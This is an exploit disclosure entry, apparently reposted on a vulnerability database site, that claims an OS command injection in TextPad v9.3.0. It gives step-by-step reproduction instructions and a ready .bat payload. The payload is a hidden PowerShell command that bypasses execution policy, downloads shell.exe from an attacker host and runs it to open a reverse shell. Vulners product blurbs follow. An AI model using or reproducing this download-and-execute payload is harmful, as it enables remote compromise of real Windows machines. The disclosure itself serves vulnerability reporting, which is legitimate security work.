Exploit Title: TextPad v9.3.0 - OS Command Injection
Discovered by: Ahmet Ümit BAYRAM
Discovered Date: 17.09.2023
Vendor Homepage: https://www.textpad.com
Software Link: https://www.textpad.com/file?path=v9/setupv9.exe
Tested Version: v9.3.0 (latest)
Tested on: Windows 2019 Server 64bit
Steps to Reproduce
Open TextPad.
Create a .bat file containing your reverse shell command.
In TextPad, go to the File menu and click on Open….
Select the .bat file you created.
Click on the globe icon (view in web browser).
Your reverse shell should now be active, connecting back to your listener.
Example of Reverse Shell Command in .bat
To set up a reverse shell in a .bat file, you can use the following command:
@echo off
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-WebRequest
-Uri http://attacker_ip:port -OutFile %TEMP%\shell.exe; Start-Process
%TEMP%\shell.exe"Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation